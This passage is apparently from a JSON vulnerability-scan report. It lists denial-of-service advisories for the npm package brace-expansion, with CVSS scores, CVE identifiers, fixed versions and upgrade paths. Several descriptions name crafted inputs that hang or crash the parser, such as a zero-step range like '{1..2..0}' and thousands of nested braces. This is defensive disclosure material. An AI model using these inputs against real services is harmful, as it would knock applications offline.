"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
